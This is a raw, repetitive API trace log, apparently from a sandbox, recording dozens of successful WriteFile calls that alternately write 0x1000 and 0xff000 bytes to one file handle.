[0090.865] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0090.865] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0090.936] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0090.936] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0091.002] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0091.002] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0091.027] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0091.027] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0091.052] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0091.052] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0091.076] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0091.076] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0091.100] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0091.100] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0091.124] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0091.124] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0091.150] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0091.150] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0091.174] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0091.174] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0091.232] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0091.232] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0091.258] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0091.258] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0091.330] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0091.330] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0091.353] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0091.354] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0091.419] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0091.420] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0091.443] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0091.443] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0091.467] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0091.468] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0091.491] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0091.491] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0091.567] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0091.568] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0091.594] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0091.594] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0091.617] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0091.617] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0091.643] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0091.643] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0091.756] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0091.756] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0091.780] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0091.780] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0091.802] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0091.803] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0091.947] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0091.947] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0092.028] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0092.028] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0092.052] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0092.052] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0092.076] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0092.076] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0092.099] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0092.099] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0092.121] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0092.122] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0092.144] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0092.145] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0092.168] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0092.168] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0092.190] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0092.190] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0092.213] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0092.213] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0092.236] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0092.236] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0092.259] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0092.259] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0092.334] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0092.334] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0092.404] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0092.404] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0092.426] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0092.426] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0092.448] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0092.449] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0092.471] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0092.471] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0092.494] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0092.495] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0092.517] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0092.517] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0092.540] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0092.540] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0092.562] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0092.562] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0092.630] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0092.630] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0092.701] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0092.702] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0092.735] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0092.735] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0092.765] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
